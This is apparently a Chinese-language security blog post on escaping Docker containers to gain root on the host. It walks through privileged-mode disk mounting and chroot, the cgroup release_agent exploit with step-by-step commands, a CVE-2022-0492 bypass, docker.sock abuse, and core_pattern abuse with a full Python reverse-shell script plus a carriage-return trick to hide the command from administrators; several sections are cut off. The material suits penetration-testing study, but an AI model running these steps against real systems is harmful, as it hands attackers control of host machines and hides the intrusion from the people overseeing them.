privileged 特权模式直接挂载目录
在Docker容器启动时如果添加了 --privileged
参数,就会以特权模式启动docker。
即具备所有的Capabilities
docker run -it --rm --privileged ubuntu /bin/bash
在容器中可以通过cat /proc/self/status | grep CapEff
来判断容器是否以特权模式启动
如果是特权模式的话,CapEff对应的值为0000003fffffffff
通过capsh
可以看到其所具有的capability权限
如: capsh --decode=0000003fffffffff
以特权模式运行的docker容器具有所有的capability权限,即可以访问所有device以及具有挂载的草走权限。
此时可以先将其挂载到容器中,然后使用chroot
获取一个以宿主机根目录为根目录的shell
来拿到宿主机的权限。
mkdir /pwn
mount /dev/sda1 /pwn
chroot /pwn
此时即可访问宿主机下的所有文件
也可以挂载到/etc
写计划任务进行弹shell拿宿主机权限
notify_on_release机制逃逸
攻击流程
cgroup机制
cgroup机制即在cpu,内存和硬件等资源方面实现隔离
notify_on_release逃逸会用到cgroup的隔离机制,cgroups为每种可以控制的资源定义了一个子系统:
- 子系统(subsystem) 一个子系统就是一个资源控制器,比如cpu子系统就是控制cpu时间分配的一个控制器
- 层级(hierachy) 子系统必须attach到一个层级上才起作用
- 控制组群(control group) cgroups中的资源控制都是以控制组群为单位实现。
- 任务(task) 即系统的一个进程,控制组群所对应的目录中有一个
tasks
文件,将进程ID写进该文件,该进程就会受到该控制组群的限制
在Linux中cgroups的实现形式为一个文件系统,可以通过mount -t cgroup
看到cgroup的挂载情况
可以看到cgroup提供了很多子系统,包括cpu,devices,blkio等
几个重要的文件:
cgroup.procs
:罗列所有在该cgroup中的TGID(线程组ID),即线程组中第一个进程的PID
tasks
:罗列了所有在该cgroup中任务的TID,即所有进程或线程的ID
notify_on_release
:0或1,表示是否在cgroup中最后一个任务退出时通知运行release agent,默认情况下是0,表示不运行
如果notify_on_release的值为1,cgroup下所有task结束的时候就会自动运行root cgroup下release_agent文件中的对应路径的文件。需要注意的是运行的release_agent所对应的文件路径需要是宿主机的。
利用原理
要想利用cgroup机制进行docker逃逸,首先需要对cgroup可写,并且有可执行的release_agent文件,而且release_agent文件位于宿主机下,因为最后是宿主机运行release_agent文件。
实际上整个 Docker 容器在运行中默认使用的存储方式为 OverlayFS 文件系统,默认使用的驱动是 overlay2。
OverlayFS将单个Linux主机上的两个目录合并成一个目录。这些目录被称为层,统一过程被称为联合挂载。OverlayFS底层目录称为lowerdir, 高层目录称为upperdir。
lowerdir
一般存储的是镜像相关的层,upperdir
一般存储的是运行中的未提交容器层,它们都被挂载到了宿主机的文件系统中。
具体可参考:https://blog.csdn.net/zhonglinzhang/article/details/80970411
在容器内部,可以通过/etc/mtab
文件来找到容器对应的lowerdir
和upperdir
Exp:
1.创建目录并挂载cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
2.在rdma子系统下创建一个自定义子系统
mkdir /tmp/cgrp/x
3.将刚刚创建的 x 子系统中的 notify_on_release
文件配置为 1 用来在全部进程都退出该 cgroup 子系统后触发内核调用 release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
4.获取upper_dir
host_path=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab`
5.在容器内部创建payload
echo '#!/bin/sh' > /cmd
echo "touch /pwned" >> /cmd
chmod a+x /c m d
6.设置release_agent
echo "$host_path/cmd" > /tmp/cgrp/release_agent
7.添加一个执行后就退出的进程到新创建的 cgroup 子系统中来触发 notify_on_release
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
bypass sys_admin (CVE-2022-0492)
只需要关闭AppArmor 和 Seccomp即可成功利用
docker run --security-opt apparmor=unconfined --security-opt seccomp=unconfined ubuntu bash
此时系统不允许将内核相关的虚拟文件系统 mount 到用户目录下
新建个 Namespace 来个 Namespace 嵌套 Namespace,并且重新定义一些资源隔离,让新建的 Namespace 又误以为是一个新的环境即可绕过
使用unshare创建一个namespace即可
unshare -UrmC test
mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup
剩下的操作就和之前一样了
该漏洞影响v2.6.24-rc1及以上Linux内核版本,修复版本为v5.17-rc3及以上内核版本,修复补丁限制了release_agaent的权限
实际上这是linux内核的洞而非docker的洞
重写devices.allow逃逸
devices子系统用于配置允许或阻止cgroup中的task访问某个设备,起到黑白名单的作用
主要包含以下文件:
-
device.allow : cgroup中的task能够访问的设备列表,格式为type major:minor access
type 表示类型,可以为a(all) c(char) b(block)major:minor代表设备编号
accss表示访问方式,可以为r(read),w(write), m(mknod)的组合
-
devices.deny:cgroup 中任务不能访问的设备,和上面的格式相同
-
devices.list:列出 cgroup 中设备的黑名单和白名单
攻击流程
debugfs写
可以参考:https://fun0nydg.github.io/2021/06/19/The-role-of-debugfs-in-container-escape.html
使用mount挂载:
docker.sock挂载逃逸
Docker中client和server的通信默认使用docker.sock,当容器中进程需要与Docker daemon进行通信时,容器需要挂载/var/run/docker.sock文件
利用原理
当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,创建运行并切换至不安全的容器B,最终在容器B中控制宿主机
攻击流程
docker run -it -v /var/run/:/
挂载/proc
linux的/proc是一个伪文件系统,当容器启动时将/proc目录挂载到容器内部时就可以实现逃逸
/proc/sys/kernel/core_pattern
文件是负责进程奔溃时内存数据转储的,当第一个字符是|
管道符时,后面的的部分会以命令行的方式进行解析并运行,并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。
由于管道符的原因,错误的数据可能会扰乱我们的命令,因此这里用python接受并且忽略错误数据。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
找到当前容器在宿主机下的绝对路径:
创建一个反弹shell的python脚本:
#!/usr/bin/python3
import os
import pty
import socket
lhost = "127.0.0.1"
lport = 2333
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
并且创建一个会抛出段错误的程序
然后在core_pattern
文件中写入运行反弹shell的命令(这里需要注意由于是以宿主机上的权限运行的,因此python的路径则也是docker目录的路径)
echo -e "|$host_path/test.py \rcore " > /host-proc/sys/kernel/core_pattern
\r
之后的内容主要是为了为了管理员通过cat
命令查看内容时隐蔽我们写入恶意命令。
这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern
中的命令
程序漏洞 & 内核漏洞
runC容器逃逸漏洞 CVE-2019-5736
Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
利用条件:
Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情况下,可通过 docker 和docker-runc 查看当前版本情况
Docker cp 命令容器逃逸攻击漏洞 CVE-2019-14271
当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss.so库。黑客可以通过在容器中替换libnss.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限
DirtyCow(CVE-2016-5195)脏牛
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。
Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里。
DirtyPipe(CVE-2022-0847)脏管道
Dirtypipe漏洞允许向任意可读文件中写数据,可造成非特权进程向root进程注入代码
没有评论